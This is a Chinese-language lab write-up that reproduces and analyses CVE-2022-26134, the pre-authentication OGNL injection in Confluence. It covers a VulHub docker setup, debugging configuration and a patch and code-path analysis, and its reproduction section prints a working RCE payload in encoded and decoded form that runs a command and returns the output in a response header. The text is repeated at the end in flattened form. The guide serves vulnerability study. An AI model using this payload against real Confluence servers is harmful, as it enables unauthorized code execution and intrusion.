Confluence Pre-Auth RCE 复现与分析
字数 1839 2025-08-06 21:48:45

Confluence Pre-Auth RCE漏洞分析与复现指南

漏洞概述

本漏洞是Confluence中存在的一个OGNL表达式注入漏洞,允许攻击者在未授权的情况下远程执行任意代码。该漏洞利用难度低,影响范围广泛,危害性极高。

漏洞类型:OGNL表达式注入
影响版本:多个Confluence版本
CVE编号:CVE-2022-26134
漏洞等级:高危

环境搭建

使用VulHub搭建漏洞环境

  1. 下载docker-compose.yml文件:
wget --no-check-certificate https://ghproxy.com/https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
  1. 修改docker-compose.yml(针对docker-compose v2.6.0的兼容性问题):
version: '2'
services:
  web:
    container_name: web
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
      - "5050:5050" # 调试端口
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    container_name: db
    environment:
      - POSTGRES_PASSWORD=postgres
      - POSTGRES_DB=confluence
  1. 启动环境:
docker-compose up -d

初始化Confluence

  1. 使用Gmail邮箱注册申请License
  2. 选择DataCenter版本
  3. 配置数据库:
    • 地址:db
    • 用户名:postgres
    • 密码:postgres
  4. 选择"Example Site"进行初始化配置

漏洞复现

漏洞利用Payload

URL编码后的Payload:

http://localhost:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

解码后的Payload(OGNL表达式):

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

简单验证Payload

http://localhost:8090/${3-1}/index.action

URL编码后:

http://localhost:8090/%24%7b3-1%7d/index.action

调试环境配置

远程调试设置

  1. 进入容器:
docker exec -it <container_id> bash
  1. 查看Java版本:
/opt/java/openjdk/bin/java --version
  1. 添加Tomcat调试配置:
cd /opt/atlassian/confluence/bin
sed -i '/export CATALINA_OPTS/iCATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' setenv.sh
  1. 重启容器:
docker restart <container_id>

IDEA配置

  1. 下载对应版本的Confluence源码
  2. 将以下目录添加到项目依赖:
    • web-INF/atlassian-bundled-plugins
    • web-INF/atlassian-bundled-plugins-setup
    • web-INF/lib
  3. 配置远程调试:
    • 连接类型:Attach to remote JVM
    • 主机:localhost
    • 端口:5050

漏洞分析

补丁分析

关键补丁文件:xwork-1.0.3-atlassian-10.jar

与漏洞版本xwork-1.0.3.6.jar对比,主要修改点在ActionChainResult类的execute方法。

漏洞触发流程

  1. 请求处理流程:

    • 请求从Tomcat交给Confluence的ConfluenceServletDispatcher.classserviceAction方法
    • 根据action遍历interceptors列表
    • 对于index.action有28个拦截器
  2. 关键拦截器 - ConfluenceAccessInterceptor

public String intercept(ActionInvocation actionInvocation) throws Exception {
    return ContainerManager.isContainerSetup() && !this.isAccessPermitted(actionInvocation) 
        ? "notpermitted" 
        : actionInvocation.invoke();
}
  1. 当用户没有权限访问时返回"notpermitted",触发ActionChainResult实例创建

  2. 漏洞触发点:

OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
String finalActionName = TextParseUtil.translateVariables(actionName, stack);

参数控制分析

  1. ActionChainResultnamespaceactionName来自DefaultActionProxy代理类
  2. DefaultActionProxy的属性值来自request.getServletPath()
  3. 关键方法:
    • getActionName(): 解析request.getServletPath(),匹配最后一个/和最后一个.之间的字符串
    • getNameSpace(): 解析request.getServletPath(),获取最后/之前的字符串

漏洞原理

该漏洞本质上是由于Confluence在处理特定请求时,未对用户输入的OGNL表达式进行有效过滤,导致攻击者可以通过构造特殊的URL路径,将恶意OGNL表达式注入到系统处理流程中,最终实现远程代码执行。

关键点:

  1. 通过特定路径构造触发ActionChainResultexecute方法
  2. 利用TextParseUtil.translateVariables方法解析OGNL表达式
  3. 表达式解析过程中未进行有效过滤

后续研究方向

  1. 寻找其他可能调用TextParseUtil.translateVariables方法的地方
  2. 研究高版本Confluence中的OGNL沙箱绕过技术
  3. 分析不同action和权限设置对漏洞触发的影响

参考链接

  1. Atlassian官方安全公告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
  2. VulHub漏洞环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134
Confluence Pre-Auth RCE漏洞分析与复现指南 漏洞概述 本漏洞是Confluence中存在的一个OGNL表达式注入漏洞,允许攻击者在未授权的情况下远程执行任意代码。该漏洞利用难度低,影响范围广泛,危害性极高。 漏洞类型:OGNL表达式注入 影响版本:多个Confluence版本 CVE编号:CVE-2022-26134 漏洞等级:高危 环境搭建 使用VulHub搭建漏洞环境 下载docker-compose.yml文件: 修改docker-compose.yml(针对docker-compose v2.6.0的兼容性问题): 启动环境: 初始化Confluence 使用Gmail邮箱注册申请License 选择DataCenter版本 配置数据库: 地址:db 用户名:postgres 密码:postgres 选择"Example Site"进行初始化配置 漏洞复现 漏洞利用Payload URL编码后的Payload: 解码后的Payload(OGNL表达式): 简单验证Payload URL编码后: 调试环境配置 远程调试设置 进入容器: 查看Java版本: 添加Tomcat调试配置: 重启容器: IDEA配置 下载对应版本的Confluence源码 将以下目录添加到项目依赖: web-INF/atlassian-bundled-plugins web-INF/atlassian-bundled-plugins-setup web-INF/lib 配置远程调试: 连接类型:Attach to remote JVM 主机:localhost 端口:5050 漏洞分析 补丁分析 关键补丁文件: xwork-1.0.3-atlassian-10.jar 与漏洞版本 xwork-1.0.3.6.jar 对比,主要修改点在 ActionChainResult 类的 execute 方法。 漏洞触发流程 请求处理流程: 请求从Tomcat交给Confluence的 ConfluenceServletDispatcher.class 的 serviceAction 方法 根据action遍历interceptors列表 对于 index.action 有28个拦截器 关键拦截器 - ConfluenceAccessInterceptor : 当用户没有权限访问时返回"notpermitted",触发 ActionChainResult 实例创建 漏洞触发点: 参数控制分析 ActionChainResult 的 namespace 和 actionName 来自 DefaultActionProxy 代理类 DefaultActionProxy 的属性值来自 request.getServletPath() 关键方法: getActionName() : 解析 request.getServletPath() ,匹配最后一个 / 和最后一个 . 之间的字符串 getNameSpace() : 解析 request.getServletPath() ,获取最后 / 之前的字符串 漏洞原理 该漏洞本质上是由于Confluence在处理特定请求时,未对用户输入的OGNL表达式进行有效过滤,导致攻击者可以通过构造特殊的URL路径,将恶意OGNL表达式注入到系统处理流程中,最终实现远程代码执行。 关键点: 通过特定路径构造触发 ActionChainResult 的 execute 方法 利用 TextParseUtil.translateVariables 方法解析OGNL表达式 表达式解析过程中未进行有效过滤 后续研究方向 寻找其他可能调用 TextParseUtil.translateVariables 方法的地方 研究高版本Confluence中的OGNL沙箱绕过技术 分析不同action和权限设置对漏洞触发的影响 参考链接 Atlassian官方安全公告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html VulHub漏洞环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134